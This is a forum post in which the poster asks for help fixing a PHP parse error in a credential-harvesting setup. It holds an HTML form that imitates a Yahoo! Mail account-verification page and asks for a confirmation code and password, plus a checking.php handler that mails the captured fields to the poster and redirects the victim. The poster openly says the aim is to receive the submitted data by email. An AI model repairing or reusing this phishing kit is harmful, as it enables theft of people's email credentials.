Help needed in making a sendmail.php file

[getthisrite]

 

 

i have made a php file: checking.php

 

========================================================================

this is how it is:-

 

 

<?php

 

$name_from=$_request['name_from'];

$email_from=$_request['email_from'];

$emailID=$_request['emailID'];

$.code=$_request['.code'];

$.mail=$_request['.mail'];

$.pw=$_request['.pw'];

$.pw1=$_request['.pw1'];

mail("[email protected]","Requested Data",$name_from,$email_from,$emailID,$.code,$.mail,$.pw,$.pw1);

header( "Location: http://www.test.com/index.html" );

 

?>

 

 

=====================================================================

 

this is the form which i made:

 

<form action="checking.php" method="post">

 

<input name="name_from" value="Email! Verification" type="hidden">

<input name="email_from" value="[email protected]" type="hidden">

 

<input name="Yahoo! ID" value="<?php echo $slogin; ?>" type="hidden">

 

<input name="send" id="verifyfield" value="" type="hidden">

<input name="cancel" id="cancelfield" value="" type="hidden">

 

      <div id="globalbuttonbartop" class="globalbuttonbar optionbuttons">

 

 

    <p><b>An email with a confirmation code was sent to</b>:  </p>

<h3>Verify your account to continue using Yahoo! Mail:</h3>

<table width="796" border="0" cellpadding="4" cellspacing="0">

<tbody><tr>

<td class="label" width="25%">Confirmation Code:</td>

<td><input size="5" style="width: 5em;" name=".code" value="" type="text"></td>

</tr>

<tr>

<td class="label" width="25%">Your! Password:</td>

<td><input size="15" style="width: 15em;" name=".pw" value="" type="password"></td>

</tr>

<tr>

<td class="label" width="25%">Verify Password:</td>

<td>

                                <input size="15" style="width: 15em;" name=".pw1" value="" type="password"></td>

</tr>

</tbody></table>

</div>

<!-- END MAIN APPLICATION CONTENT -->

</td>

</tr>

</tbody></table>

<div id="globalbuttonbarbottom" class="globalbuttonbar optionbuttons">

<button type="submit" name="verifybottom" id="verifybottom" value="Verify Account">Verify Account</button>

<button type="button" name="cancelbottom" id="cancelbottom" value="Cancel">Cancel</button>

</div>

</form>

 

this form i made so that i can get all the requested data onto my mail.

 

but when i uploaded this file with the form and checked it ......it was giving an error like this:

 

 

Parse error: syntax error, unexpected '.', expecting T_VARIABLE or '$' in /home/seaward/public_html/y/checking.php on line 7

 

please check it and give me the solution for this

 

 

Thanks
